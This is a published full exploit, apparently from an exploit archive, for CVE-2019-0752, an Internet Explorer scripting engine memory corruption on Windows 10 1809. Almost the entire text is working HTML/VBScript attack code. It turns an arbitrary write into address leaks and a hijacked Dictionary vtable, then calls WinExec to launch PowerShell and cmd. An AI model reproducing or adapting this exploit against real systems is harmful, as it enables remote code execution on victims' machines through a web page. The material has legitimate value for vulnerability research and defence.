ExploitFixes
Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption 2019-05-24 18:05:14

<!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752 -->
<!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level) -->
<!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->

<!-- [email protected] -->

<!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get -->
<!-- all the way to RCE using no shellcode. -->

<!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10. -->
<!-- (h/t: James Forshaw, Google Project Zero) -->

<html>
<meta http-equiv="x-ua-compatible" content="IE=8">
<meta http-equiv="Expires" content="-1">
<body>
<div id="container1" style="overflow:scroll; width: 10px">
<div id="content1" style="width:5000000px">
Content
</div>
</div>
<script language="VBScript.Encode">
Dim ar1(&h3000000)
Dim ar2(1000)
Dim gremlin
addressOfGremlin = &h28281000
Class MyClass
Private mValue
Public Property Let Value(v)
mValue = v
End Property
Public Default Property Get P
P = mValue ' Where to write
End Property
End Class
Sub TriggerWrite(where, val)
Dim v1
Set v1 = document.getElementById("container1")
v1.scrollLeft = val ' Write this value (Maximum: 0x001767dd)
Dim c
Set c = new MyClass
c.Value = where
Set v1.scrollLeft = c
End Sub
' Our vulnerability does not immediately give us an unrestricted
' write (though we could manufacture one). For our purposes, the
' following is sufficient. It writes an arbitrary DWORD to an
' arbitrary location, and sets the subsequent 3 bytes to zero.
Sub WriteInt32With3ByteZeroTrailer(addr, val)
TriggerWrite addr , (val) AND &hff
TriggerWrite addr + 1, (val\&h100) AND &hff
TriggerWrite addr + 2, (val\&h10000) AND &hff
TriggerWrite addr + 3, (val\&h1000000) AND &hff
End Sub
Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)
For i = 0 To Len(str) - 1
TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))
Next
End Sub
Function ReadInt32(addr)
WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr
ReadInt32 = ar1(gremlin)
End Function
Function LeakAddressOfObject(obj)
Set ar1(gremlin + 1) = obj
LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)
End Function
Sub Exploit()
' Corrupt vt of one array element (the "gremlin")
TriggerWrite addressOfGremlin, &h4003 ' VT_BYREF | VT_I4
For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100
If Not IsEmpty(ar1(i)) Then
gremlin = i
Exit For
End If
Next

If IsEmpty(gremlin) Then
MsgBox "Could not find gremlin"
Exit Sub
End If

For i = 0 To UBound(ar2)
Set ar2(i) = CreateObject("Scripting.Dictionary")
Next

Set dict = ar2(UBound(ar2) / 2)
addressOfDict = LeakAddressOfObject(dict)
vtableOfDict = ReadInt32(addressOfDict)
scrrun = vtableOfDict - &h11fc
kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90
winExec = kernel32 + &h5d380

dict.Exists "dummy" ' Make a dispatch call, just to populate pld
' Relocate pld to ensure its address doesn't contain a null byte
pld = ReadInt32(addressOfDict + &h3c)
fakePld = &h28281020
For i = 0 To 3 - 1
WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)
Next

fakeVtable = &h28282828 ' ASCII "(((("
For i = 0 To 21
If i = 12 Then ' Dictionary.Exists
fptr = winExec
Else
fptr = ReadInt32(vtableOfDict + 4 * i)
End If
WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr
Next

WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"
WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld
WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd `""""""/t:4f /k whoami /user`"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""

On Error Resume Next
dict.Exists "dummy" ' Wheeee!!

' A little cleanup to help prevent crashes after the exploit
For i = 1 To 3
WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict
WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2
Next
Erase Dict
Erase ar2
End Sub
Exploit
</script>
</body>
</html>